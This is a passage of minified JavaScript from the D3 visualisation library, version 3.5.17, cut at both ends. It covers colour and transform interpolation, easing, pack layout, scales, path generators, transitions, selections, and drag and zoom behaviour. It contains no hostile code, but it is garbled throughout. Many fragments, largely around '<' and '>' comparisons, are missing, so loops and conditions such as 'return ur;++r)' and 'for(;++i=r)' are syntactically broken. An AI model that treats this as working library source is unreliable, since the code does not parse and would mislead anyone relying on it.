u={x:o,y:r*o+i};e={x:a,y:r*a+i}}else{if(u){if(u.xu||s>o||r>h||i>p)){if(g=n.point){var g,v=t-n.x,d=e-n.y,y=v*v+d*d;if(l>y){var m=Math.sqrt(l=y);r=t-m,i=e-m,u=t+m,o=e+m,a=g}}for(var M=n.nodes,x=.5*(f+h),b=.5*(s+p),_=t>=x,w=e>=b,S=w<<1|_,k=S+4;k>S;++S)if(n=M[3&S])switch(3&S){case 0:c(n,f,s,x,b);break;case 1:c(n,x,s,h,b);break;case 2:c(n,f,b,x,p);break;case 3:c(n,x,b,h,p)}}}(n,r,i,u,o),a}function vr(n,t){n=ao.rgb(n),t=ao.rgb(t);var e=n.r,r=n.g,i=n.b,u=t.r-e,o=t.g-r,a=t.b-i;return function(n){return"#"+bn(Math.round(e+u*n))+bn(Math.round(r+o*n))+bn(Math.round(i+a*n))}}function dr(n,t){var e,r={},i={};for(e in n)e in t?r[e]=Mr(n[e],t[e]):i[e]=n[e];for(e in t)e in n||(i[e]=t[e]);return function(n){for(e in r)i[e]=r[e](n);return i}}function yr(n,t){return n=+n,t=+t,function(e){return n*(1-e)+t*e}}function mr(n,t){var e,r,i,u=hl.lastIndex=pl.lastIndex=0,o=-1,a=[],l=[];for(n+="",t+="";(e=hl.exec(n))&&(r=pl.exec(t));)(i=r.index)>u&&(i=t.slice(u,i),a[o]?a[o]+=i:a[++o]=i),(e=e[0])===(r=r[0])?a[o]?a[o]+=r:a[++o]=r:(a[++o]=null,l.push({i:o,x:yr(e,r)})),u=pl.lastIndex;return ur;++r)a[(e=l[r]).i]=e.x(n);return a.join("")})}function Mr(n,t){for(var e,r=ao.interpolators.length;--r>=0&&!(e=ao.interpolators[r](n,t)););return e}function xr(n,t){var e,r=[],i=[],u=n.length,o=t.length,a=Math.min(n.length,t.length);for(e=0;a>e;++e)r.push(Mr(n[e],t[e]));for(;u>e;++e)i[e]=n[e];for(;o>e;++e)i[e]=t[e];return function(n){for(e=0;a>e;++e)i[e]=r[e](n);return i}}function br(n){return function(t){return 0>=t?0:t>=1?1:n(t)}}function _r(n){return function(t){return 1-n(1-t)}}function wr(n){return function(t){return.5*(.5>t?n(2*t):2-n(2-2*t))}}function Sr(n){return n*n}function kr(n){return n*n*n}function Nr(n){if(0>=n)return 0;if(n>=1)return 1;var t=n*n,e=t*n;return 4*(.5>n?e:3*(n-t)+e-.75)}function Er(n){return function(t){return Math.pow(t,n)}}function Ar(n){return 1-Math.cos(n*Io)}function Cr(n){return Math.pow(2,10*(n-1))}function zr(n){return 1-Math.sqrt(1-n*n)}function Lr(n,t){var e;return arguments.length<2&&(t=.45),arguments.length?e=t/Ho*Math.asin(1/n):(n=1,e=t/4),function(r){return 1+n*Math.pow(2,-10*r)*Math.sin((r-e)*Ho/t)}}function qr(n){return n||(n=1.70158),function(t){return t*t*((n+1)*t-n)}}function Tr(n){return 1/2.75>n?7.5625*n*n:2/2.75>n?7.5625*(n-=1.5/2.75)*n+.75:2.5/2.75>n?7.5625*(n-=2.25/2.75)*n+.9375:7.5625*(n-=2.625/2.75)*n+.984375}function Rr(n,t){n=ao.hcl(n),t=ao.hcl(t);var e=n.h,r=n.c,i=n.l,u=t.h-e,o=t.c-r,a=t.l-i;return isNaN(o)&&(o=0,r=isNaN(r)?t.c:r),isNaN(u)?(u=0,e=isNaN(e)?t.h:e):u>180?u-=360:-180>u&&(u+=360),function(n){return sn(e+u*n,r+o*n,i+a*n)+""}}function Dr(n,t){n=ao.hsl(n),t=ao.hsl(t);var e=n.h,r=n.s,i=n.l,u=t.h-e,o=t.s-r,a=t.l-i;return isNaN(o)&&(o=0,r=isNaN(r)?t.s:r),isNaN(u)?(u=0,e=isNaN(e)?t.h:e):u>180?u-=360:-180>u&&(u+=360),function(n){return cn(e+u*n,r+o*n,i+a*n)+""}}function Pr(n,t){n=ao.lab(n),t=ao.lab(t);var e=n.l,r=n.a,i=n.b,u=t.l-e,o=t.a-r,a=t.b-i;return function(n){return pn(e+u*n,r+o*n,i+a*n)+""}}function Ur(n,t){return t-=n,function(e){return Math.round(n+t*e)}}function jr(n){var t=[n.a,n.b],e=[n.c,n.d],r=Hr(t),i=Fr(t,e),u=Hr(Or(e,t,-i))||0;t[0]*e[1]180?t+=360:t-n>180&&(n+=360),r.push({i:e.push(Ir(e)+"rotate(",null,")")-2,x:yr(n,t)})):t&&e.push(Ir(e)+"rotate("+t+")")}function Vr(n,t,e,r){n!==t?r.push({i:e.push(Ir(e)+"skewX(",null,")")-2,x:yr(n,t)}):t&&e.push(Ir(e)+"skewX("+t+")")}function Xr(n,t,e,r){if(n[0]!==t[0]||n[1]!==t[1]){var i=e.push(Ir(e)+"scale(",null,",",null,")");r.push({i:i-4,x:yr(n[0],t[0])},{i:i-2,x:yr(n[1],t[1])})}else 1===t[0]&&1===t[1]||e.push(Ir(e)+"scale("+t+")")}function $r(n,t){var e=[],r=[];return n=ao.transform(n),t=ao.transform(t),Yr(n.translate,t.translate,e,r),Zr(n.rotate,t.rotate,e,r),Vr(n.skew,t.skew,e,r),Xr(n.scale,t.scale,e,r),n=t=null,function(n){for(var t,i=-1,u=r.length;++i=0;)e.push(i[r])}function oi(n,t){for(var e=[n],r=[];null!=(n=e.pop());)if(r.push(n),(u=n.children)&&(i=u.length))for(var i,u,o=-1;++oe;++e)(t=n[e][1])>i&&(r=e,i=t);return r}function yi(n){return n.reduce(mi,0)}function mi(n,t){return n+t[1]}function Mi(n,t){return xi(n,Math.ceil(Math.log(t.length)/Math.LN2+1))}function xi(n,t){for(var e=-1,r=+n[0],i=(n[1]-r)/t,u=[];++e<=t;)u[e]=i*e+r;return u}function bi(n){return[ao.min(n),ao.max(n)]}function _i(n,t){return n.value-t.value}function wi(n,t){var e=n._pack_next;n._pack_next=t,t._pack_prev=n,t._pack_next=e,e._pack_prev=t}function Si(n,t){n._pack_next=t,t._pack_prev=n}function ki(n,t){var e=t.x-n.x,r=t.y-n.y,i=n.r+t.r;return.999*i*i>e*e+r*r}function Ni(n){function t(n){f=Math.min(n.x-n.r,f),s=Math.max(n.x+n.r,s),h=Math.min(n.y-n.r,h),p=Math.max(n.y+n.r,p)}if((e=n.children)&&(c=e.length)){var e,r,i,u,o,a,l,c,f=1/0,s=-(1/0),h=1/0,p=-(1/0);if(e.forEach(Ei),r=e[0],r.x=-r.r,r.y=0,t(r),c>1&&(i=e[1],i.x=i.r,i.y=0,t(i),c>2))for(u=e[2],zi(r,i,u),t(u),wi(r,u),r._pack_prev=u,wi(u,i),i=r._pack_next,o=3;c>o;o++){zi(r,i,u=e[o]);var g=0,v=1,d=1;for(a=i._pack_next;a!==i;a=a._pack_next,v++)if(ki(a,u)){g=1;break}if(1==g)for(l=r._pack_prev;l!==a._pack_prev&&!ki(l,u);l=l._pack_prev,d++);g?(d>v||v==d&&i.ro;o++)u=e[o],u.x-=y,u.y-=m,M=Math.max(M,u.r+Math.sqrt(u.x*u.x+u.y*u.y));n.r=M,e.forEach(Ai)}}function Ei(n){n._pack_next=n._pack_prev=n}function Ai(n){delete n._pack_next,delete n._pack_prev}function Ci(n,t,e,r){var i=n.children;if(n.x=t+=r*n.x,n.y=e+=r*n.y,n.r*=r,i)for(var u=-1,o=i.length;++u=0;)t=i[u],t.z+=e,t.m+=e,e+=t.s+(r+=t.c)}function Pi(n,t,e){return n.a.parent===t.parent?n.a:e}function Ui(n){return 1+ao.max(n,function(n){return n.y})}function ji(n){return n.reduce(function(n,t){return n+t.x},0)/n.length}function Fi(n){var t=n.children;return t&&t.length?Fi(t[0]):n}function Hi(n){var t,e=n.children;return e&&(t=e.length)?Hi(e[t-1]):n}function Oi(n){return{x:n.x,y:n.y,dx:n.dx,dy:n.dy}}function Ii(n,t){var e=n.x+t[3],r=n.y+t[0],i=n.dx-t[1]-t[3],u=n.dy-t[0]-t[2];return 0>i&&(e+=i/2,i=0),0>u&&(r+=u/2,u=0),{x:e,y:r,dx:i,dy:u}}function Yi(n){var t=n[0],e=n[n.length-1];return e>t?[t,e]:[e,t]}function Zi(n){return n.rangeExtent?n.rangeExtent():Yi(n.range())}function Vi(n,t,e,r){var i=e(n[0],n[1]),u=r(t[0],t[1]);return function(n){return u(i(n))}}function Xi(n,t){var e,r=0,i=n.length-1,u=n[r],o=n[i];return u>o&&(e=r,r=i,i=e,e=u,u=o,o=e),n[r]=t.floor(u),n[i]=t.ceil(o),n}function $i(n){return n?{floor:function(t){return Math.floor(t/n)*n},ceil:function(t){return Math.ceil(t/n)*n}}:Sl}function Bi(n,t,e,r){var i=[],u=[],o=0,a=Math.min(n.length,t.length)-1;for(n[a]2?Bi:Vi,l=r?Wr:Br;return o=i(n,t,l,e),a=i(t,n,l,Mr),u}function u(n){return o(n)}var o,a;return u.invert=function(n){return a(n)},u.domain=function(t){return arguments.length?(n=t.map(Number),i()):n},u.range=function(n){return arguments.length?(t=n,i()):t},u.rangeRound=function(n){return u.range(n).interpolate(Ur)},u.clamp=function(n){return arguments.length?(r=n,i()):r},u.interpolate=function(n){return arguments.length?(e=n,i()):e},u.ticks=function(t){return Qi(n,t)},u.tickFormat=function(t,e){return nu(n,t,e)},u.nice=function(t){return Gi(n,t),i()},u.copy=function(){return Wi(n,t,e,r)},i()}function Ji(n,t){return ao.rebind(n,t,"range","rangeRound","interpolate","clamp")}function Gi(n,t){return Xi(n,$i(Ki(n,t)[2])),Xi(n,$i(Ki(n,t)[2])),n}function Ki(n,t){null==t&&(t=10);var e=Yi(n),r=e[1]-e[0],i=Math.pow(10,Math.floor(Math.log(r/t)/Math.LN10)),u=t/r*i;return.15>=u?i*=10:.35>=u?i*=5:.75>=u&&(i*=2),e[0]=Math.ceil(e[0]/i)*i,e[1]=Math.floor(e[1]/i)*i+.5*i,e[2]=i,e}function Qi(n,t){return ao.range.apply(ao,Ki(n,t))}function nu(n,t,e){var r=Ki(n,t);if(e){var i=ha.exec(e);if(i.shift(),"s"===i[8]){var u=ao.formatPrefix(Math.max(xo(r[0]),xo(r[1])));return i[7]||(i[7]="."+tu(u.scale(r[2]))),i[8]="f",e=ao.format(i.join("")),function(n){return e(u.scale(n))+u.symbol}}i[7]||(i[7]="."+eu(i[8],r)),e=i.join("")}else e=",."+tu(r[2])+"f";return ao.format(e)}function tu(n){return-Math.floor(Math.log(n)/Math.LN10+.01)}function eu(n,t){var e=tu(t[2]);return n in kl?Math.abs(e-tu(Math.max(xo(t[0]),xo(t[1]))))+ +("e"!==n):e-2*("%"===n)}function ru(n,t,e,r){function i(n){return(e?Math.log(0>n?0:n):-Math.log(n>0?0:-n))/Math.log(t)}function u(n){return e?Math.pow(t,n):-Math.pow(t,-n)}function o(t){return n(i(t))}return o.invert=function(t){return u(n.invert(t))},o.domain=function(t){return arguments.length?(e=t[0]>=0,n.domain((r=t.map(Number)).map(i)),o):r},o.base=function(e){return arguments.length?(t=+e,n.domain(r.map(i)),o):t},o.nice=function(){var t=Xi(r.map(i),e?Math:El);return n.domain(t),r=t.map(u),o},o.ticks=function(){var n=Yi(r),o=[],a=n[0],l=n[1],c=Math.floor(i(a)),f=Math.ceil(i(l)),s=t%1?2:t;if(isFinite(f-c)){if(e){for(;f>c;c++)for(var h=1;s>h;h++)o.push(u(c)*h);o.push(u(c))}else for(o.push(u(c));c++0;h--)o.push(u(c)*h);for(c=0;o[c]l;f--);o=o.slice(c,f)}return o},o.tickFormat=function(n,e){if(!arguments.length)return Nl;arguments.length<2?e=Nl:"function"!=typeof e&&(e=ao.format(e));var r=Math.max(1,t*n/o.ticks().length);return function(n){var o=n/u(Math.round(i(n)));return t-.5>o*t&&(o*=t),r>=o?e(n):""}},o.copy=function(){return ru(n.copy(),t,e,r)},Ji(o,n)}function iu(n,t,e){function r(t){return n(i(t))}var i=uu(t),u=uu(1/t);return r.invert=function(t){return u(n.invert(t))},r.domain=function(t){return arguments.length?(n.domain((e=t.map(Number)).map(i)),r):e},r.ticks=function(n){return Qi(e,n)},r.tickFormat=function(n,t){return nu(e,n,t)},r.nice=function(n){return r.domain(Gi(e,n))},r.exponent=function(o){return arguments.length?(i=uu(t=o),u=uu(1/t),n.domain(e.map(i)),r):t},r.copy=function(){return iu(n.copy(),t,e)},Ji(r,n)}function uu(n){return function(t){return 0>t?-Math.pow(-t,n):Math.pow(t,n)}}function ou(n,t){function e(e){return u[((i.get(e)||("range"===t.t?i.set(e,n.push(e)):NaN))-1)%u.length]}function r(t,e){return ao.range(n.length).map(function(n){return t+e*n})}var i,u,o;return e.domain=function(r){if(!arguments.length)return n;n=[],i=new c;for(var u,o=-1,a=r.length;++oe?[NaN,NaN]:[e>0?a[e-1]:n[0],et?NaN:t/u+n,[t,t+1/u]},r.copy=function(){return lu(n,t,e)},i()}function cu(n,t){function e(e){return e>=e?t[ao.bisect(n,e)]:void 0}return e.domain=function(t){return arguments.length?(n=t,e):n},e.range=function(n){return arguments.length?(t=n,e):t},e.invertExtent=function(e){return e=t.indexOf(e),[n[e-1],n[e]]},e.copy=function(){return cu(n,t)},e}function fu(n){function t(n){return+n}return t.invert=t,t.domain=t.range=function(e){return arguments.length?(n=e.map(t),t):n},t.ticks=function(t){return Qi(n,t)},t.tickFormat=function(t,e){return nu(n,t,e)},t.copy=function(){return fu(n)},t}function su(){return 0}function hu(n){return n.innerRadius}function pu(n){return n.outerRadius}function gu(n){return n.startAngle}function vu(n){return n.endAngle}function du(n){return n&&n.padAngle}function yu(n,t,e,r){return(n-e)*t-(t-r)*n>0?0:1}function mu(n,t,e,r,i){var u=n[0]-t[0],o=n[1]-t[1],a=(i?r:-r)/Math.sqrt(u*u+o*o),l=a*o,c=-a*u,f=n[0]+l,s=n[1]+c,h=t[0]+l,p=t[1]+c,g=(f+h)/2,v=(s+p)/2,d=h-f,y=p-s,m=d*d+y*y,M=e-r,x=f*p-h*s,b=(0>y?-1:1)*Math.sqrt(Math.max(0,M*M*m-x*x)),_=(x*y-d*b)/m,w=(-x*d-y*b)/m,S=(x*y+d*b)/m,k=(-x*d+y*b)/m,N=_-g,E=w-v,A=S-g,C=k-v;return N*N+E*E>A*A+C*C&&(_=S,w=k),[[_-l,w-c],[_*e/M,w*e/M]]}function Mu(n){function t(t){function o(){c.push("M",u(n(f),a))}for(var l,c=[],f=[],s=-1,h=t.length,p=En(e),g=En(r);++s1?n.join("L"):n+"Z"}function bu(n){return n.join("L")+"Z"}function _u(n){for(var t=0,e=n.length,r=n[0],i=[r[0],",",r[1]];++t1&&i.push("H",r[0]),i.join("")}function wu(n){for(var t=0,e=n.length,r=n[0],i=[r[0],",",r[1]];++t1){a=t[1],u=n[l],l++,r+="C"+(i[0]+o[0])+","+(i[1]+o[1])+","+(u[0]-a[0])+","+(u[1]-a[1])+","+u[0]+","+u[1];for(var c=2;c9&&(i=3*t/Math.sqrt(i),o[a]=i*e,o[a+1]=i*r));for(a=-1;++a<=l;)i=(n[Math.min(l,a+1)][0]-n[Math.max(0,a-1)][0])/(6*(1+o[a]*o[a])),u.push([i||0,o[a]*i||0]);return u}function Fu(n){return n.length<3?xu(n):n[0]+Au(n,ju(n))}function Hu(n){for(var t,e,r,i=-1,u=n.length;++i=t?o(n-t):void(f.c=o)}function o(e){var i=g.active,u=g[i];u&&(u.timer.c=null,u.timer.t=NaN,--g.count,delete g[i],u.event&&u.event.interrupt.call(n,n.__data__,u.index));for(var o in g)if(r>+o){var c=g[o];c.timer.c=null,c.timer.t=NaN,--g.count,delete g[o]}f.c=a,qn(function(){return f.c&&a(e||1)&&(f.c=null,f.t=NaN),1},0,l),g.active=r,v.event&&v.event.start.call(n,n.__data__,t),p=[],v.tween.forEach(function(e,r){(r=r.call(n,n.__data__,t))&&p.push(r)}),h=v.ease,s=v.duration}function a(i){for(var u=i/s,o=h(u),a=p.length;a>0;)p[--a].call(n,o);return u>=1?(v.event&&v.event.end.call(n,n.__data__,t),--g.count?delete g[r]:delete n[e],1):void 0}var l,f,s,h,p,g=n[e]||(n[e]={active:0,count:0}),v=g[r];v||(l=i.time,f=qn(u,0,l),v=g[r]={tween:new c,time:l,timer:f,delay:i.delay,duration:i.duration,ease:i.ease,index:t},i=null,++g.count)}function no(n,t,e){n.attr("transform",function(n){var r=t(n);return"translate("+(isFinite(r)?r:e(n))+",0)"})}function to(n,t,e){n.attr("transform",function(n){var r=t(n);return"translate(0,"+(isFinite(r)?r:e(n))+")"})}function eo(n){return n.toISOString()}function ro(n,t,e){function r(t){return n(t)}function i(n,e){var r=n[1]-n[0],i=r/e,u=ao.bisect(Kl,i);return u==Kl.length?[t.year,Ki(n.map(function(n){return n/31536e6}),e)[2]]:u?t[i/Kl[u-1]1?{floor:function(t){for(;e(t=n.floor(t));)t=io(t-1);return t},ceil:function(t){for(;e(t=n.ceil(t));)t=io(+t+1);return t}}:n))},r.ticks=function(n,t){var e=Yi(r.domain()),u=null==n?i(e,10):"number"==typeof n?i(e,n):!n.range&&[{range:n},t];return u&&(n=u[0],t=u[1]),n.range(e[0],io(+e[1]+1),1>t?1:t)},r.tickFormat=function(){return e},r.copy=function(){return ro(n.copy(),t,e)},Ji(r,n)}function io(n){return new Date(n)}function uo(n){return JSON.parse(n.responseText)}function oo(n){var t=fo.createRange();return t.selectNode(fo.body),t.createContextualFragment(n.responseText)}var ao={version:"3.5.17"},lo=[].slice,co=function(n){return lo.call(n)},fo=this.document;if(fo)try{co(fo.documentElement.childNodes)[0].nodeType}catch(so){co=function(n){for(var t=n.length,e=new Array(t);t--;)e[t]=n[t];return e}}if(Date.now||(Date.now=function(){return+new Date}),fo)try{fo.createElement("DIV").style.setProperty("opacity",0,"")}catch(ho){var po=this.Element.prototype,go=po.setAttribute,vo=po.setAttributeNS,yo=this.CSSStyleDeclaration.prototype,mo=yo.setProperty;po.setAttribute=function(n,t){go.call(this,n,t+"")},po.setAttributeNS=function(n,t,e){vo.call(this,n,t,e+"")},yo.setProperty=function(n,t,e){mo.call(this,n,t+"",e)}}ao.ascending=e,ao.descending=function(n,t){return n>t?-1:t>n?1:t>=n?0:NaN},ao.min=function(n,t){var e,r,i=-1,u=n.length;if(1===arguments.length){for(;++i=r){e=r;break}for(;++ir&&(e=r)}else{for(;++i=r){e=r;break}for(;++ir&&(e=r)}return e},ao.max=function(n,t){var e,r,i=-1,u=n.length;if(1===arguments.length){for(;++i=r){e=r;break}for(;++ie&&(e=r)}else{for(;++i=r){e=r;break}for(;++ie&&(e=r)}return e},ao.extent=function(n,t){var e,r,i,u=-1,o=n.length;if(1===arguments.length){for(;++u=r){e=i=r;break}for(;++ur&&(e=r),r>i&&(i=r))}else{for(;++u=r){e=i=r;break}for(;++ur&&(e=r),r>i&&(i=r))}return[e,i]},ao.sum=function(n,t){var e,r=0,u=n.length,o=-1;if(1===arguments.length)for(;++o1?l/(f-1):void 0},ao.deviation=function(){var n=ao.variance.apply(this,arguments);return n?Math.sqrt(n):n};var Mo=u(e);ao.bisectLeft=Mo.left,ao.bisect=ao.bisectRight=Mo.right,ao.bisector=function(n){return u(1===n.length?function(t,r){return e(n(t),r)}:n)},ao.shuffle=function(n,t,e){(u=arguments.length)<3&&(e=n.length,2>u&&(t=0));for(var r,i,u=e-t;u;)i=Math.random()*u--|0,r=n[u+t],n[u+t]=n[i+t],n[i+t]=r;return n},ao.permute=function(n,t){for(var e=t.length,r=new Array(e);e--;)r[e]=n[t[e]];return r},ao.pairs=function(n){for(var t,e=0,r=n.length-1,i=n[0],u=new Array(0>r?0:r);r>e;)u[e]=[t=i,i=n[++e]];return u},ao.transpose=function(n){if(!(i=n.length))return[];for(var t=-1,e=ao.min(n,o),r=new Array(e);++t=0;)for(r=n[i],t=r.length;--t>=0;)e[--o]=r[t];return e};var xo=Math.abs;ao.range=function(n,t,e){if(arguments.length<3&&(e=1,arguments.length<2&&(t=n,n=0)),(t-n)/e===1/0)throw new Error("infinite range");var r,i=[],u=a(xo(e)),o=-1;if(n*=u,t*=u,e*=u,0>e)for(;(r=n+e*++o)>t;)i.push(r/u);else for(;(r=n+e*++o)=u.length)return r?r.call(i,o):e?o.sort(e):o;for(var l,f,s,h,p=-1,g=o.length,v=u[a++],d=new c;++p=u.length)return n;var r=[],i=o[e++];return n.forEach(function(n,i){r.push({key:n,values:t(i,e)})}),i?r.sort(function(n,t){return i(n.key,t.key)}):r}var e,r,i={},u=[],o=[];return i.map=function(t,e){return n(e,t,0)},i.entries=function(e){return t(n(ao.map,e,0),0)},i.key=function(n){return u.push(n),i},i.sortKeys=function(n){return o[u.length-1]=n,i},i.sortValues=function(n){return e=n,i},i.rollup=function(n){return r=n,i},i},ao.set=function(n){var t=new y;if(n)for(var e=0,r=n.length;r>e;++e)t.add(n[e]);return t},l(y,{has:h,add:function(n){return this._[f(n+="")]=!0,n},remove:p,values:g,size:v,empty:d,forEach:function(n){for(var t in this._)n.call(this,s(t))}}),ao.behavior={},ao.rebind=function(n,t){for(var e,r=1,i=arguments.length;++r=0&&(r=n.slice(e+1),n=n.slice(0,e)),n)return arguments.length<2?this[n].on(r):this[n].on(r,t);if(2===arguments.length){if(null==t)for(n in this)this.hasOwnProperty(n)&&this[n].on(r,null);return this}},ao.event=null,ao.requote=function(n){return n.replace(So,"\\$&")};var So=/[\\\^\$\*\+\?\|\[\]\(\)\.\{\}]/g,ko={}.__proto__?function(n,t){n.__proto__=t}:function(n,t){for(var e in t)n[e]=t[e]},No=function(n,t){return t.querySelector(n)},Eo=function(n,t){return t.querySelectorAll(n)},Ao=function(n,t){var e=n.matches||n[x(n,"matchesSelector")];return(Ao=function(n,t){return e.call(n,t)})(n,t)};"function"==typeof Sizzle&&(No=function(n,t){return Sizzle(n,t)[0]||null},Eo=Sizzle,Ao=Sizzle.matchesSelector),ao.selection=function(){return ao.select(fo.documentElement)};var Co=ao.selection.prototype=[];Co.select=function(n){var t,e,r,i,u=[];n=A(n);for(var o=-1,a=this.length;++o=0&&"xmlns"!==(e=n.slice(0,t))&&(n=n.slice(t+1)),Lo.hasOwnProperty(e)?{space:Lo[e],local:n}:n}},Co.attr=function(n,t){if(arguments.length<2){if("string"==typeof n){var e=this.node();return n=ao.ns.qualify(n),n.local?e.getAttributeNS(n.space,n.local):e.getAttribute(n)}for(t in n)this.each(z(t,n[t]));return this}return this.each(z(n,t))},Co.classed=function(n,t){if(arguments.length<2){if("string"==typeof n){var e=this.node(),r=(n=T(n)).length,i=-1;if(t=e.classList){for(;++ii){if("string"!=typeof n){2>i&&(e="");for(r in n)this.each(P(r,n[r],e));return this}if(2>i){var u=this.node();return t(u).getComputedStyle(u,null).getPropertyValue(n)}r=""}return this.each(P(n,e,r))},Co.property=function(n,t){if(arguments.length<2){if("string"==typeof n)return this.node()[n];for(t in n)this.each(U(t,n[t]));return this}return this.each(U(n,t))},Co.text=function(n){return arguments.length?this.each("function"==typeof n?function(){var t=n.apply(this,arguments);this.textContent=null==t?"":t}:null==n?function(){this.textContent=""}:function(){this.textContent=n}):this.node().textContent},Co.html=function(n){return arguments.length?this.each("function"==typeof n?function(){var t=n.apply(this,arguments);this.innerHTML=null==t?"":t}:null==n?function(){this.innerHTML=""}:function(){this.innerHTML=n}):this.node().innerHTML},Co.append=function(n){return n=j(n),this.select(function(){return this.appendChild(n.apply(this,arguments))})},Co.insert=function(n,t){return n=j(n),t=A(t),this.select(function(){return this.insertBefore(n.apply(this,arguments),t.apply(this,arguments)||null)})},Co.remove=function(){return this.each(F)},Co.data=function(n,t){function e(n,e){var r,i,u,o=n.length,s=e.length,h=Math.min(o,s),p=new Array(s),g=new Array(s),v=new Array(o);if(t){var d,y=new c,m=new Array(o);for(r=-1;++rr;++r)g[r]=H(e[r]);for(;o>r;++r)v[r]=n[r]}g.update=p,g.parentNode=p.parentNode=v.parentNode=n.parentNode,a.push(g),l.push(p),f.push(v)}var r,i,u=-1,o=this.length;if(!arguments.length){for(n=new Array(o=(r=this[0]).length);++uu;u++){i.push(t=[]),t.parentNode=(e=this[u]).parentNode;for(var a=0,l=e.length;l>a;a++)(r=e[a])&&n.call(r,r.__data__,a,u)&&t.push(r)}return E(i)},Co.order=function(){for(var n=-1,t=this.length;++n=0;)(e=r[i])&&(u&&u!==e.nextSibling&&u.parentNode.insertBefore(e,u),u=e);return this},Co.sort=function(n){n=I.apply(this,arguments);for(var t=-1,e=this.length;++tn;n++)for(var e=this[n],r=0,i=e.length;i>r;r++){var u=e[r];if(u)return u}return null},Co.size=function(){var n=0;return Y(this,function(){++n}),n};var qo=[];ao.selection.enter=Z,ao.selection.enter.prototype=qo,qo.append=Co.append,qo.empty=Co.empty,qo.node=Co.node,qo.call=Co.call,qo.size=Co.size,qo.select=function(n){for(var t,e,r,i,u,o=[],a=-1,l=this.length;++ar){if("string"!=typeof n){2>r&&(t=!1);for(e in n)this.each(X(e,n[e],t));return this}if(2>r)return(r=this.node()["__on"+n])&&r._;e=!1}return this.each(X(n,t,e))};var To=ao.map({mouseenter:"mouseover",mouseleave:"mouseout"});fo&&To.forEach(function(n){"on"+n in fo&&To.remove(n)});var Ro,Do=0;ao.mouse=function(n){return J(n,k())};var Po=this.navigator&&/WebKit/.test(this.navigator.userAgent)?-1:0;ao.touch=function(n,t,e){if(arguments.length<3&&(e=t,t=k().changedTouches),t)for(var r,i=0,u=t.length;u>i;++i)if((r=t[i]).identifier===e)return J(n,r)},ao.behavior.drag=function(){function n(){this.on("mousedown.drag",u).on("touchstart.drag",o)}function e(n,t,e,u,o){return function(){function a(){var n,e,r=t(h,v);r&&(n=r[0]-M[0],e=r[1]-M[1],g|=n|e,M=r,p({type:"drag",x:r[0]+c[0],y:r[1]+c[1],dx:n,dy:e}))}function l(){t(h,v)&&(y.on(u+d,null).on(o+d,null),m(g),p({type:"dragend"}))}var c,f=this,s=ao.event.target.correspondingElement||ao.event.target,h=f.parentNode,p=r.of(f,arguments),g=0,v=n(),d=".drag"+(null==v?"":"-"+v),y=ao.select(e(s)).on(u+d,a).on(o+d,l),m=W(s),M=t(h,v);i?(c=i.apply(f,arguments),c=[c.x-M[0],c.y-M[1]]):c=[0,0],p({type:"dragstart"})}}var r=N(n,"drag","dragstart","dragend"),i=null,u=e(b,ao.mouse,t,"mousemove","mouseup"),o=e(G,ao.touch,m,"touchmove","touchend");return n.origin=function(t){return arguments.length?(i=t,n):i},ao.rebind(n,r,"on")},ao.touches=function(n,t){return arguments.length<2&&(t=k().touches),t?co(t).map(function(t){var e=J(n,t);return e.identifier=t.identifier,e}):[]};var Uo=1e-6,jo=Uo*Uo,Fo=Math.PI,Ho=2*Fo,Oo=Ho-Uo,Io=Fo/2,Yo=Fo/180,Zo=180/Fo,Vo=Math.SQRT2,Xo=2,$o=4;ao.interpolateZoom=function(n,t){var e,r,i=n[0],u=n[1],o=n[2],a=t[0],l=t[1],c=t[2],f=a-i,s=l-u,h=f*f+s*s;if(jo>h)r=Math.log(c/o)/Vo,e=function(n){return[i+n*f,u+n*s,o*Math.exp(Vo*n*r)]};else{var p=Math.sqrt(h),g=(c*c-o*o+$o*h)/(2*o*Xo*p),v=(c*c-o*o-$o*h)/(2*c*Xo*p),d=Math.log(Math.sqrt(g*g+1)-g),y=Math.log(Math.sqrt(v*v+1)-v);r=(y-d)/Vo,e=function(n){var t=n*r,e=rn(d),a=o/(Xo*p)*(e*un(Vo*t+d)-en(d));return[i+a*f,u+a*s,o*e/rn(Vo*t+d)]}}return e.duration=1e3*r,e},ao.behavior.zoom=function(){function n(n){n.on(L,s).on(Wo+".zoom",p).on("dblclick.zoom",g).on(R,h)}function e(n){return[(n[0]-k.x)/k.k,(n[1]-k.y)/k.k]}function r(n){return[n[0]*k.k+k.x,n[1]*k.k+k.y]}function i(n){k.k=Math.max(A[0],Math.min(A[1],n))}function u(n,t){t=r(t),k.x+=n[0]-t[0],k.y+=n[1]-t[1]}function o(t,e,r,o){t.__chart__={x:k.x,y:k.y,k:k.k},i(Math.pow(2,o)),u(d=e,r),t=ao.select(t),C>0&&(t=t.transition().duration(C)),t.call(n.event)}function a(){b&&b.domain(x.range().map(function(n){return(n-k.x)/k.k}).map(x.invert)),w&&w.domain(_.range().map(function(n){return(n-k.y)/k.k}).map(_.invert))}function l(n){z++||n({type:"zoomstart"})}function c(n){a(),n({type:"zoom",scale:k.k,translate:[k.x,k.y]})}function f(n){--z||(n({type:"zoomend"}),d=null)}function s(){function n(){a=1,u(ao.mouse(i),h),c(o)}function r(){s.on(q,null).on(T,null),p(a),f(o)}var i=this,o=D.of(i,arguments),a=0,s=ao.select(t(i)).on(q,n).on(T,r),h=e(ao.mouse(i)),p=W(i);Il.call(i),l(o)}function h(){function n(){var n=ao.touches(g);return p=k.k,n.forEach(function(n){n.identifier in d&&(d[n.identifier]=e(n))}),n}function t(){var t=ao.event.target;ao.select(t).on(x,r).on(b,a),_.push(t);for(var e=ao.event.changedTouches,i=0,u=e.length;u>i;++i)d[e[i].identifier]=null;var l=n(),c=Date.now();if(1===l.length){if(500>c-M){var f=l[0];o(g,f,d[f.identifier],Math.floor(Math.log(k.k)/Math.LN2)+1),S()}M=c}else if(l.length>1){var f=l[0],s=l[1],h=f[0]-s[0],p=f[1]-s[1];y=h*h+p*p}}function r(){var n,t,e,r,o=ao.touches(g);Il.call(g);for(var a=0,l=o.length;l>a;++a,r=null)if(e=o[a],r=d[e.identifier]){if(t)break;n=e,t=r}if(r){var f=(f=e[0]-n[0])*f+(f=e[1]-n[1])*f,s=y&&Math.sqrt(f/y);n=[(n[0]+e[0])/2,(n[1]+e[1])/2],t=[(t[0]+r[0])/2,(t[1]+r[1])/2],i(s*p)}M=null,u(n,t),c(v)}function a(){if(ao.event.touches.length){for(var t=ao.event.changedTouches,e=0,r=t.length;r>e;++e)delete d[t[e].identifier];for(var i in d)return void 